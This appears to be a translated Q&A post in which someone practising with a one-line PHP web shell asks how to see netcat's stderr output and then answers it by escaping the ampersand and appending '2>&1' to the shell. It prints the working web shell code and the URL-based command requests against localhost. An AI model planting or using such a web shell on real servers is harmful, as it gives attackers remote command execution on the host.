在简单 PHP web shell 中查看 stderr 输出

View stderr output in simple PHP web shell

我不确定这是一个 PHP 问题还是 Linux 问题,但这里是。

我正在练习使用 web shell,并且有一个非常简单的,看起来像这样;

<?php system($_GET['cmd']); ?>

在我的终端里我可以查看netcat的帮助文件,像这样;

nc -h

我相信这会输出到 stderr。在我的终端中,我可以像这样将输出重定向到一个文件;

nc &> blah

然后我可以 cat blah,然后查看结果。但是,如果我通过 php webshel​​l 尝试相同的技巧,则不会创建任何文件。 IE。 运行 这些命令什么都不做;

http://localhost/shell.php?cmd=nc -h &> blah
#encoded
http://localhost/shell.php?cmd=nc%20-h%20%26%3E%20blah

为什么它在我的 webshel​​l 中失败了?我需要在我的语法中做些什么调整才能让它工作?我可以发出命令(例如,lsls --version),并且可以很好地查看标准输出。

最终,我想完全避免写入文件,而只是在我的 webshel​​l 中查看命令的所有输出,但我认为这将是一个更容易的第一步。欢迎对后期提出建议!

我想通了;

问题是 & 符号正在丢弃网络 shell 命令,因此它需要转义。跳过文件写入,我们可以像这样将 stderr 重定向到 stdout 以在浏览器中查看所有输出(stdout 和 stderr);

?cmd=nc -h 2>%261

此外,无需将 2>%261 附加到每个命令,可以修改网络 shell 来为我们完成提升;

<?php system($_GET['cmd'] . ' 2>&1'); ?>

然后我们可以直接执行我们的命令,并在浏览器中看到 stderr 和 stdout 输出。

?cmd=nc -h

它似乎不尊重原始输出格式,但这是另一个问题...